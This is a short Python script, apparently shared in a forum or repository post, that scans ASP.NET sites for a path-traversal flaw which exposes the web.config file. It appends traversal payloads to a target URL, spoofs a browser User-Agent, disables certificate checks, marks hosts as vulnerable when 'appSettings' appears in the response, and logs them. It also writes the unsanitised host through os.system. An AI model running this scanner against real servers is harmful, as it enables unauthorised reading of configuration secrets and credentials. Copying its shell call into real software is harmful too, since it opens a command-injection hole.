Thanks @Bminossi for sharing the exploration trick

checker_vuln_web.config.py

import os
import sys
import requests
import urllib3
from requests.exceptions import Timeout

urllib3.disable_warnings()

if sys.argv[1]:
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"}
    xpl_list = [
        'aspx?,../../web.config,,',
        'aspx?,../../../web.config,,',
        'aspx?,../../../../web.config,,',
        'aspx?,../../../../../web.config,,'
    ]
    for xpl in xpl_list:
        try:
            host = sys.argv[1].replace('aspx',xpl)
            result_request = requests.get(host,timeout=(2, 5),verify=False, headers=headers)
            if result_request.status_code == 200:
                if 'appSettings' in result_request.text:
                    print(' [+] ',result_request.status_code,host,'[ VULN ]')
                    os.system(f"echo {host}>>vulns-web.config.txt")
                else:
                    print(' [+] ',result_request.status_code,host,'[ NOT VULN ]')
        except Timeout:
            print(' [x] The request timed out')